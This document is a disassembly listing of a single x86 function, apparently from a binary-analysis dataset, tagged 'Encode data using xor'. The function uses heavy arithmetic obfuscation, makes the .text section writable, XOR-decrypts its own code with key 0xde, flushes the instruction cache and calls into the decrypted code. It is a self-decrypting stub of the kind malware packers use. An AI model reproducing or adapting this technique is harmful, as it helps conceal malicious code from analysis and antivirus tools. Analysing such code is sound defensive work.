Function at 0x405fe9
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x418b04
push ecx
mov ecx, 4
push ecx
push 0x90c171
pop ecx
push ebx
push 0x9c348c
pop ebx
push edx
push 0x81ed4c
pop edx
sub edx, 0x9c348c
add ebx, edx
pop edx
sub ebx, 0x90c171
add ecx, ebx
pop ebx
push ebx
mov ebx, 0xaeb09c
push eax
push 0x6f3d0f
pop eax
sub eax, 0xaeb09c
add ebx, eax
pop eax
push ecx
push 0xd51eb8
pop ecx
push eax
push 0x3fa646
pop eax
sub eax, 0xd51eb8
add ecx, eax
pop eax
push ebx
mov ebx, 0x3d1769
sub ebx, 0x3fa646
add ecx, ebx
pop ebx
sub ecx, 0x6f3d0f
add ebx, ecx
pop ecx
push edx
mov edx, 0xff08b4
sub edx, 0x3d1769
add ebx, edx
pop edx
push ecx
mov ecx, 0x627bba
push ebx
mov ebx, 0x9dee47
push eax
push 0x8c3be8
pop eax
push ebx
push 0x8bf998
pop ebx
sub ebx, 0x8c3be8
add eax, ebx
pop ebx
sub eax, 0x9dee47
add ebx, eax
pop eax
sub ebx, 0x627bba
add ecx, ebx
pop ebx
push eax
push 0x42aa93
pop eax
push ebx
mov ebx, 0xcd653
sub ebx, 0x42aa93
add eax, ebx
pop ebx
sub eax, 0x8bf998
add ecx, eax
pop eax
sub ecx, 0xff08b4
add ebx, ecx
pop ecx
push edx
push 0x50b987
pop edx
sub edx, 0xcd653
add ebx, edx
pop edx
push ecx
mov ecx, 0x272d90
sub ecx, 0x50b987
add ebx, ecx
pop ecx
push edx
push 0xbc0cfb
pop edx
push ebx
mov ebx, 0x4fe9
sub ebx, 0xbc0cfb
add edx, ebx
pop ebx
sub edx, 0x272d90
add ebx, edx
pop edx
sub ebx, 0x81ed4c
add ecx, ebx
pop ebx
push ecx
mov ecx, section..text
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0xd03b57
pop eax
push ecx
push 0xa7d00c
pop ecx
push ebx
push 0xb57b84
pop ebx
sub ebx, 0xa7d00c
add ecx, ebx
pop ebx
push eax
push 0xa78131
pop eax
push ecx
push 0xb5cc1
pop ecx
sub ecx, 0xa78131
add eax, ecx
pop ecx
sub eax, 0xb57b84
add ecx, eax
pop eax
push ebx
push 0x41e0db
pop ebx
push ecx
push 0xafe9b8
pop ecx
sub ecx, 0x41e0db
add ebx, ecx
pop ecx
sub ebx, 0xb5cc1
add ecx, ebx
pop ebx
sub ecx, 0xd03b57
add eax, ecx
pop ecx
push ecx
mov ecx, 0xba46db
push ebx
push 0x1ac41
pop ebx
push eax
push 0x104b71
pop eax
push ebx
push 0x9f63fc
pop ebx
sub ebx, 0x104b71
add eax, ebx
pop ebx
push ecx
mov ecx, 0x7d5351
push ebx
mov ebx, 0xed4dd0
push eax
push 0xdb31b0
pop eax
sub eax, 0xed4dd0
add ebx, eax
pop eax
push ecx
push 0x9a2a79
pop ecx
push edx
mov edx, 0xc86026
push ecx
mov ecx, 0x1861de
push eax
mov eax, 0x6e898
sub eax, 0x1861de
add ecx, eax
pop eax
sub ecx, 0xc86026
add edx, ecx
pop ecx
push ecx
mov ecx, 0x13682d
sub ecx, 0x6e898
add edx, ecx
pop ecx
push eax
mov eax, 0x93f491
sub eax, 0x13682d
add edx, eax
pop eax
sub edx, 0x9a2a79
add ecx, edx
pop edx
push eax
mov eax, 0xa4de75
sub eax, 0x93f491
add ecx, eax
pop eax
sub ecx, 0xdb31b0
add ebx, ecx
pop ecx
sub ebx, 0x7d5351
add ecx, ebx
pop ebx
sub ecx, 0x9f63fc
add eax, ecx
pop ecx
push ebx
mov ebx, 0x211097
sub ebx, 0xa4de75
add eax, ebx
pop ebx
sub eax, 0x1ac41
add ebx, eax
pop eax
push edx
mov edx, 0xd2a893
sub edx, 0x211097
add ebx, edx
pop edx
sub ebx, 0xba46db
add ecx, ebx
pop ebx
push edx
mov edx, 0x649334
sub edx, 0xd2a893
add ecx, edx
pop edx
sub ecx, 0xafe9b8
add eax, ecx
pop ecx
push ebx
mov ebx, section..text
sub ebx, 0x649334
add eax, ebx
pop ebx
push 0xd116a3
pop edx
push ecx
push 0x19f0a1
pop ecx
push eax
mov eax, 0x196c04
sub eax, 0x19f0a1
add ecx, eax
pop eax
push eax
push 0x2ab204
pop eax
sub eax, 0x196c04
add ecx, eax
pop eax
push eax
push 0x507600
pop eax
sub eax, 0x2ab204
add ecx, eax
pop eax
sub ecx, 0xd116a3
add edx, ecx
pop ecx
push eax
push 0xc2ba3a
pop eax
sub eax, 0x507600
add edx, eax
pop eax
push ecx
push 0xa48d28
pop ecx
push edx
push 0xf2afd
pop edx
push ebx
mov ebx, 0x1adbe0
push ecx
push 0xf8f4c5
pop ecx
sub ecx, 0x1adbe0
add ebx, ecx
pop ecx
push edx
mov edx, 0x5bd492
push ebx
push 0x9b659a
pop ebx
sub ebx, 0x5bd492
add edx, ebx
pop ebx
push ebx
mov ebx, 0xf14405
sub ebx, 0x9b659a
add edx, ebx
pop ebx
push ecx
push 0x47c766
pop ecx
push ebx
push 0x3e6034
pop ebx
sub ebx, 0x47c766
add ecx, ebx
pop ebx
sub ecx, 0xf14405
add edx, ecx
pop ecx
push ecx
mov ecx, 0xd61b8d
push edx
mov edx, 0x83c78d
sub edx, 0xd61b8d
add ecx, edx
pop edx
push ebx
mov ebx, 0x502022
push edx
mov edx, 0xc94559
sub edx, 0x502022
add ebx, edx
pop edx
sub ebx, 0x83c78d
add ecx, ebx
pop ebx
push eax
mov eax, 0xd1a497
sub eax, 0xc94559
add ecx, eax
pop eax
sub ecx, 0x3e6034
add edx, ecx
pop ecx
sub edx, 0xf8f4c5
add ebx, edx
pop edx
push edx
mov edx, 0xbea2bf
sub edx, 0xd1a497
add ebx, edx
pop edx
push ecx
mov ecx, 0xd7b9c8
sub ecx, 0xbea2bf
add ebx, ecx
pop ecx
sub ebx, 0xf2afd
add edx, ebx
pop ebx
push eax
mov eax, 0xd10048
sub eax, 0xd7b9c8
add edx, eax
pop eax
sub edx, 0xa48d28
add ecx, edx
pop edx
push edx
mov edx, 0x4fe9
sub edx, 0xd10048
add ecx, edx
pop edx
sub ecx, 0xc2ba3a
add edx, ecx
pop ecx
xor byte [eax], 0xde
push ebx
push eax
push 1
xor eax, eax
mov eax, 0x9d2080
push ecx
push 0x83db1
pop ecx
push edx
mov edx, 0xc7f51b
push eax
push 0x22f944
pop eax
push ecx
mov ecx, 0xf747db
push ebx
mov ebx, 0xec4e69
sub ebx, 0xf747db
add ecx, ebx
pop ebx
sub ecx, 0x22f944
add eax, ecx
pop ecx
sub eax, 0xc7f51b
add edx, eax
pop eax
sub edx, 0x83db1
add ecx, edx
pop edx
push eax
push 0xcbc0
pop eax
sub eax, 0xec4e69
add ecx, eax
pop eax
push edx
push 0x73d37e
pop edx
push ecx
mov ecx, 0xac1fc4
push ebx
mov ebx, 0x6a887f
sub ebx, 0xac1fc4
add ecx, ebx
pop ebx
sub ecx, 0x73d37e
add edx, ecx
pop ecx
sub edx, 0xcbc0
add ecx, edx
pop edx
push ebx
mov ebx, 0x86495e
push ecx
mov ecx, 0xce5b3b
sub ecx, 0x86495e
add ebx, ecx
pop ecx
sub ebx, 0x6a887f
add ecx, ebx
pop ebx
sub ecx, 0x9d2080
add eax, ecx
pop ecx
push ecx
mov ecx, 0x8f0095
push edx
push 0x24fedb
pop edx
push eax
push 0x458cc5
pop eax
push edx
mov edx, 0x834437
push ecx
mov ecx, 0x35e5da
sub ecx, 0x834437
add edx, ecx
pop ecx
push ecx
push 0x7d0bb
pop ecx
sub ecx, 0x35e5da
add edx, ecx
pop ecx
push ecx
mov ecx, 0x54a090
sub ecx, 0x7d0bb
add edx, ecx
pop ecx
push eax
mov eax, 0x14a4db
push ecx
mov ecx, 0x99c001
sub ecx, 0x14a4db
add eax, ecx
pop ecx
push ebx
mov ebx, 0x83e2d6
sub ebx, 0x99c001
add eax, ebx
pop ebx
push ecx
mov ecx, 0x61ed7e
sub ecx, 0x83e2d6
add eax, ecx
pop ecx
sub eax, 0x54a090
add edx, eax
pop eax
sub edx, 0x458cc5
add eax, edx
pop edx
sub eax, 0x24fedb
add edx, eax
pop eax
sub edx, 0x8f0095
add ecx, edx
pop edx
sub ecx, 0xce5b3b
add eax, ecx
pop ecx
push ebx
mov ebx, 0x85bbde
sub ebx, 0x61ed7e
add eax, ebx
pop ebx
push ebx
mov ebx, 0x1b2979
sub ebx, 0x85bbde
add eax, ebx
pop ebx
push ebx
mov ebx, 0x118517
sub ebx, 0x1b2979
add eax, ebx
pop ebx
push ebx
mov ebx, 0xd94878
sub ebx, 0x118517
add eax, ebx
pop ebx
push ebx
mov ebx, 0xfdfc23
sub ebx, 0xd94878
add eax, ebx
pop ebx
push ecx
mov ecx, 0x54c095
sub ecx, 0xfdfc23
add eax, ecx
pop ecx
push edx
mov edx, 0
sub edx, 0x54c095
add eax, edx
pop edx
pop ebx
add eax, ebx
pop ebx
add eax, ebx
pop ebx
sub edx, 1
or edx, edx
jne 0x406402
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x4519f2
push edx
push 0xad3be1
pop edx
push eax
push 0x108424
pop eax
sub eax, 0xad3be1
add edx, eax
pop eax
push ebx
mov ebx, 0xa8828a
sub ebx, 0x108424
add edx, ebx
pop ebx
push eax
mov eax, 0x437fda
sub eax, 0xa8828a
add edx, eax
pop eax
push ecx
push 0xf11f5f
pop ecx
push eax
mov eax, 0x3e4c4d
sub eax, 0xf11f5f
add ecx, eax
pop eax
sub ecx, 0x437fda
add edx, ecx
pop ecx
push ecx
mov ecx, 0x419750
push eax
mov eax, 0x51d68
sub eax, 0x419750
add ecx, eax
pop eax
sub ecx, 0x3e4c4d
add edx, ecx
pop ecx
push eax
mov eax, 0xd5e13
sub eax, 0x51d68
add edx, eax
pop eax
push ebx
push 0xa95a8e
pop ebx
push eax
push 0x80baff
pop eax
push ebx
push 0xab1ff2
pop ebx
sub ebx, 0x80baff
add eax, ebx
pop ebx
sub eax, 0xa95a8e
add ebx, eax
pop eax
sub ebx, 0xd5e13
add edx, ebx
pop ebx
push ecx
mov ecx, 0xaad264
push eax
push 0x115ee8
pop eax
sub eax, 0xaad264
add ecx, eax
pop eax
push eax
mov eax, 0x122136
sub eax, 0x115ee8
add ecx, eax
pop eax
sub ecx, 0xab1ff2
add edx, ecx
pop ecx
push ebx
mov ebx, 0x72abe4
push edx
mov edx, 0x66880
sub edx, 0x72abe4
add ebx, edx
pop edx
push ecx
mov ecx, 0x9400e7
sub ecx, 0x66880
add ebx, ecx
pop ecx
push edx
mov edx, 0x8a4226
sub edx, 0x9400e7
add ebx, edx
pop edx
sub ebx, 0x122136
add edx, ebx
pop ebx
push ecx
mov ecx, 0x4cb69a
sub ecx, 0x8a4226
add edx, ecx
pop ecx
push eax
mov eax, 0x4fe9
sub eax, 0x4cb69a
add edx, eax
pop eax
sub edx, 0x4519f2
add ecx, edx
pop edx
push ecx
push section..text
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop eax
call fcn.00405f36
ret